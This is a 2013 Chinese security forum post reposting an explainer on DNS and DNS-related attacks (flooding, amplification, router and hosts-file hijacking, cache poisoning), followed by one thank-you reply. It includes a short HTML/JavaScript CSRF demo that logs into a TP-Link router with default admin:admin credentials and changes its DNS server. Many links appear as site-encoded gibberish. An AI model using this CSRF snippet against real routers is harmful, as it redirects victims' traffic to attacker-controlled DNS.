首页
社区
课程
招聘
浅谈与DNS相关的攻击
发表于: 2013-11-13 00:03 3446

浅谈与DNS相关的攻击

2013-11-13 00:03
3446
新闻链接:f9bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3&6W2N6s2y4W2j5%4g2J5K9i4c8&6i4K6u0W2y4e0q4U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8Q4x3V1j5J5x3o6p5K6x3e0q4Q4x3V1j5@1x3e0j5&6x3K6S2Q4x3X3g2Z5N6r3@1`.
   新闻时间:2013-11-12 14:11
   新闻正文:
一 什么是DNS

DNS 是域名系统 (Domain Name System) 的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。

DNS 域名结构

通常 Internet 主机域名的一般结构为:主机名.三级域名.二级域名.顶级域名。 Internet 的顶级域名由 Internet网络协会域名注册查询负责网络地址分配的委员会进行登记和管理,它还为 Internet的每一台主机分配唯一的 IP 地址。全世界现有三个大的网络信息中心: 位于美国的 Inter-NIC,负责美国及其他地区; 位于荷兰的RIPE-NIC,负责欧洲地区;位于日本的APNIC ,负责亚太地区。

DNS查询报文

DNS应答报文

DNS 的解析流程

全世界有很多的域名需要解析,这些不可能都在一台服务器上解析,那就太慢了。dns解析采用了树形结构的解析流程。

在上面的解析流程的前面其实还有一步的,系统在发出dns解析之前会先看看本地是否保存了相关域名的解析,如果有的话会节省会多的时间。该文件保存在C:\Windows\System32\drivers\etc\hosts,文件保存了本地dns解析的相关内容,如下:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
二 DNS相关的攻击类型

1 针对DNS服务器的DDOS攻击

第一类 基于主机耗尽型的dns查询拒绝服务攻击

这类攻击就是想受害者DNS服务器发送大量的dns解析请求包,由于DNs服务器美妙查询的次数有限,使得它忙不过来造成拒绝服务攻击。


第二类 基于宽带耗尽型的DNS反弹式拒绝服务攻击(DNS reflector attacks,又称DNS amplification attacks)

原理:大量主机伪造受害者ip向胡亮王上的大量开放式递归DNS服务器发送NDS查询请求包。由于开放递归DNS服务器并不对请求包进行地质真实性验证,因此都会进行应答,这样受害着将同时接收到大量的DNS请求应答包,堵塞受害DNS服务器的网络,最终形成拒绝服务攻击。

什么是开放递归DNS服务器?

开放递归服务器是指支持递归查询,同时对发起递归查询请求的客户端不进行身份验证的DNS服务器。

如下图:

2 针对用户的DNS劫持

简单的说什么是dns劫持呢?

就是本来你想访问携程的网站b93K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4@1M7X3W2H3i4K6u0W2j5$3!0E0i4K6u0o6i4@1f1%4i4@1u0n7i4K6V1K6i4@1f1$3i4K6W2q4i4K6W2o6i4@1f1^5i4@1u0q4i4K6V1K6i4@1f1#2i4K6R3#2i4@1p5#2i4@1f1#2i4K6W2r3i4K6W2r3i4@1f1#2i4K6V1H3i4K6S2p5i4@1f1#2i4K6V1H3i4K6S2q4i4@1f1^5i4@1u0r3i4K6V1@1i4@1f1#2i4K6W2n7i4K6W2q4i4@1f1%4i4@1u0n7i4K6V1&6i4@1f1@1i4@1u0p5i4@1p5H3i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1%4i4K6V1&6i4@1u0q4i4@1f1#2i4@1u0m8i4@1p5$3i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1$3i4K6W2o6i4K6S2p5i4@1f1#2i4K6S2m8i4@1p5I4i4@1f1#2i4K6V1&6i4@1p5^5K9i4m8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0W2Q4z5o6u0Q4b7e0y4Q4c8e0c8Q4b7U0W2Q4z5o6S2Q4c8e0S2Q4z5o6N6Q4b7f1q4Q4c8e0N6Q4z5o6c8Q4b7U0k6Q4c8e0k6Q4z5e0S2Q4b7V1g2Q4c8e0N6Q4b7e0c8Q4b7V1q4Q4c8e0g2Q4z5f1y4Q4b7e0S2Q4c8e0k6Q4b7U0g2Q4z5p5k6Q4c8e0S2Q4b7e0N6Q4z5o6S2Q4c8e0g2Q4z5e0W2Q4b7e0S2Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0c8Q4b7U0W2Q4z5f1k6Q4c8e0g2Q4b7U0m8Q4b7U0q4Q4c8e0k6Q4z5e0S2Q4b7f1k6Q4c8e0N6Q4z5e0W2Q4b7V1g2Q4c8e0g2Q4b7V1q4Q4b7e0k6Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0W2Q4b7e0q4Q4b7U0g2Q4c8e0W2Q4z5f1c8Q4b7e0u0Q4c8e0y4Q4z5o6m8Q4z5o6t1`.

那么我可以根据上面介绍的dns解析流程来看看哪些地方会导致返回给你的ip是错误的。

a 首先是dns服务器地址被劫持

比如你的路由器中的dns服务器地址被修改为恶意的dns服务器。那就一切都完蛋了,你访问的任何域名都被解析成其他的地址。

但是这种情况一般是不会发生的, 因为恶意人员登录不了的路由器修改不了dns服务器地址,就更修改不了你本机的dns设置。不过当几个小的漏洞结合在一起的时候就成为了大的漏洞。比如之前出现过的路由器劫持事件:

漏洞本身依赖3个部分:

tp-link路由器发现存在csrf漏洞。

有些用户的路由器没有更改用户名和密码,使用了默认的用户名和密码;或者浏览器记录了路由器的登录状态。

firefox和chrome等浏览器支持Http Authentication。

这些结合在一起就导致了这么一个攻击流程:

恶意人员构造了一个恶意的web页面,如e85K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6G2L8#2)9J5k6h3y4G2L8g2)9J5c8Y4c8W2P5s2c8Q4x3X3g2Z5N6r3#2D9i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1&6i4@1p5I4i4@1t1#2i4@1f1&6i4K6W2p5i4@1p5J5i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6S2m8i4K6W2r3i4@1f1^5i4K6R3K6i4@1u0p5i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1^5i4K6R3%4i4@1q4m8i4@1f1#2i4K6S2m8i4@1p5^5i4@1f1%4i4K6V1&6i4@1u0n7i4@1f1#2i4@1u0p5i4K6V1#2i4@1f1^5i4@1t1%4i4@1q4r3i4@1f1%4i4K6V1@1i4@1t1I4i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1#2i4@1t1&6i4@1t1$3i4@1f1@1i4@1u0r3i4@1q4q4i4@1f1$3i4K6V1@1i4@1t1&6k6r3&6K6i4@1f1#2i4K6W2o6i4@1t1H3i4@1f1#2i4K6W2p5i4K6R3H3i4@1f1K6i4K6R3H3i4K6R3J5

恶意人员构造一个url发送给被害者,当被害者点击这个链接的时候就访问了恶意页面,就修改了路由器的dns地址。

接下来就简单了,恶意人员可以将你想要访问的网站域名如e8bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4@1M7X3W2H3i4K6u0W2j5$3!0E0i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1$3i4K6W2q4i4K6V1H3i4@1f1#2i4K6R3^5i4@1t1H3i4@1f1@1i4@1u0n7i4@1u0n7i4@1f1$3i4K6R3@1i4K6S2r3i4@1f1#2i4K6R3#2i4@1t1$3i4@1f1@1i4@1u0n7i4K6V1$3i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6W2o6i4@1t1H3i4@1f1#2i4K6W2p5i4K6R3H3i4@1f1#2i4@1p5$3i4K6R3J5x3g2)9J5k6e0q4Q4x3X3f1I4i4K6u0W2x3g2!0q4y4#2!0m8c8q4)9^5z5g2!0q4x3#2)9^5x3q4)9^5x3W2)9J5z5q4!0q4y4g2!0n7c8q4)9&6x3#2!0q4y4#2)9^5y4q4!0n7y4W2!0q4y4q4!0n7b7W2)9&6y4W2!0q4y4q4!0n7z5q4)9^5c8q4!0q4y4q4!0n7b7#2)9&6b7g2!0q4z5q4!0m8y4#2!0m8x3#2!0q4y4W2)9&6c8g2)9&6x3q4!0q4y4g2)9^5z5q4!0n7x3q4!0q4z5q4!0n7c8W2)9&6z5g2!0q4z5g2)9^5y4#2)9^5b7#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0m8y4W2)9^5x3g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4#2!0n7b7W2)9^5c8W2!0q4y4W2!0n7y4g2)9^5c8g2!0q4y4g2)9^5z5q4!0m8z5g2!0q4y4#2)9&6b7W2)9^5b7g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9^5z5q4)9&6y4W2!0q4z5q4)9^5x3q4)9^5y4g2!0q4y4g2!0n7z5g2!0n7c8W2!0q4y4g2)9&6x3g2)9^5b7g2!0q4y4W2)9^5z5q4)9&6y4W2!0q4z5q4)9^5x3q4)9^5y4h3y4@1M7X3W2H3i4@1f1$3i4K6S2q4i4@1p5^5i4@1f1#2i4@1t1&6i4@1u0r3i4@1f1^5i4K6R3I4i4K6V1@1i4@1f1%4i4K6W2n7i4K6W2r3N6i4u0D9i4@1f1%4i4@1q4p5i4K6R3&6i4@1f1K6i4K6R3H3i4K6R3J5i4K6t1&6

下面附上tplink的小demo:

<script>
function dns(){
alert('I have changed your dns on my domain!')
i = new Image;
i.src='d6bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4i4K6u0r3N6i4y4W2M7W2u0H3L8g2)9J5c8V1I4S2L8V1c8Z5j5%4m8e0k6i4u0$3k6i4u0d9M7r3#2Q4x3X3g2Z5N6r3#2Q4x3@1k6V1K9r3y4H3M7$3g2J5N6X3g2J5i4K6y4p5x3g2)9J5y4X3W2H3x3g2)9K6c8o6p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4x3o6m8Q4x3U0k6A6M7o6u0Q4x3@1b7I4z5e0u0Q4x3X3f1I4y4U0S2Q4x3X3f1I4i4K6u0W2x3e0V1&6i4K6t1$3e0r3g2S2M7$3g2Q4x3@1b7I4x3U0m8Q4x3U0k6Y4j5i4c8W2N6$3q4&6i4K6y4p5x3q4)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3q4)9J5y4X3c8G2L8h3q4A6L8W2)9K6c8q4)9J5y4X3c8F1M7%4y4W2M7Y4k6W2M7W2)9K6c8o6S2Q4x3X3f1^5i4K6u0W2z5q4)9J5k6e0S2Q4x3U0k6V1L8Y4y4K6k6i4u0$3k6i4t1J5i4K6y4p5x3q4)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3q4)9J5y4W2y4S2N6X3g2Q4x3@1c8Q4x3U0g2n7x3g2)9J5y4f1p5K6i4K6u0n7i4K6t1#2b7U0c8Q4x3U0g2q4y4W2)9J5y4#2)9K6b7R3`.`.
}
</script>//修改dns
<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=dns()>//登录
b hosts文件被修改

根据解析流程来看,如果要解析ef4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4@1M7X3W2H3i4K6u0W2j5$3!0E0i4@1f1%4i4K6W2m8i4K6R3@1K9i4m8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0N6Q4b7U0y4Q4b7V1u0Q4c8e0N6Q4b7V1u0Q4z5f1k6Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0W2Q4b7e0k6Q4z5e0k6Q4c8e0g2Q4z5o6g2Q4z5o6S2Q4c8e0S2Q4b7f1g2Q4b7V1k6Q4c8e0W2Q4z5e0N6Q4b7f1g2Z5L8%4y4@1M7#2!0q4y4W2)9&6y4W2)9^5y4#2!0q4y4q4!0n7b7W2!0n7y4W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4#2)9&6b7#2)9^5b7W2!0q4y4#2)9&6b7#2)9^5b7W2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4W2!0n7x3W2!0m8x3g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4#2)9&6b7W2!0n7z5q4!0q4y4g2)9^5y4g2!0n7x3#2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4#2!0n7b7W2)9&6x3g2!0q4y4g2!0m8c8g2)9&6b7g2!0q4c8W2!0n7b7#2)9&6b7b7`.`.

如果有如下记录:

1.1.1.1 e52K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4@1M7X3W2H3i4K6u0W2j5$3!0E0

你们系统就不会将c82K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4@1M7X3W2H3i4K6u0W2j5$3!0E0i4@1f1#2i4K6S2r3i4K6V1I4i4@1f1&6i4K6R3H3i4K6R3I4i4@1f1%4i4@1u0n7i4K6V1&6k6r3&6K6i4@1f1$3i4K6W2o6i4K6S2p5i4@1f1#2i4K6S2m8i4@1p5I4i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1#2i4K6S2q4i4@1u0n7i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1$3i4K6W2q4i4K6V1H3i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1%4i4K6W2n7i4@1t1@1i4@1f1$3i4K6S2q4i4@1p5#2i4@1f1#2i4@1t1H3i4@1t1I4i4@1f1#2i4@1t1H3i4K6R3$3i4@1f1#2i4@1q4q4i4K6R3K6i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1$3i4K6W2q4i4K6V1H3i4@1f1@1i4@1t1^5i4@1u0m8x3g2)9J5k6e0q4Q4x3X3f1I4i4K6u0W2x3g2!0q4x3#2)9^5x3q4)9^5x3R3`.`.

c DNS服务器缓存中的映射关系被修改,又称缓存投毒攻击

系统检测到hosts文件中没有响应的域名的解析的时候就会发送给本地dns服务器进行解析,解析之前会先查看缓存中是否存在,如果没有,再将解析请求发送给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中,方便下一次的解析。

针对缓存中的解析的攻击有2种:

传统的DNS缓存投毒攻击:恶意人员向受害DNS服务器发送域名的解析请求,然后抢在权威服务器应答前伪造应答包发送给受害服务器。这样错误的解析记录就保存到了缓存中,那么接下来缓存时间内所有该域名的解析就都是错误了。这种攻击伪造的是回答资源记录,攻击时间很短,效率低。


kaminsky缓存投毒攻击:恶意人员发送类似这种的查询请求www24385.ctrip.com到dns服务器,抢在权威应答前伪造应答包发送给dns服务器。它修改的是授权资源记录,可以大量的尝试。


d 入侵dns服务器,修改其中的数据库记录。

这种就是比较直接暴力的方法了,当然也是最困难的。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错,学习了。非常感谢。
2013-11-15 11:19
0
游客
登录 | 注册 方可回帖
返回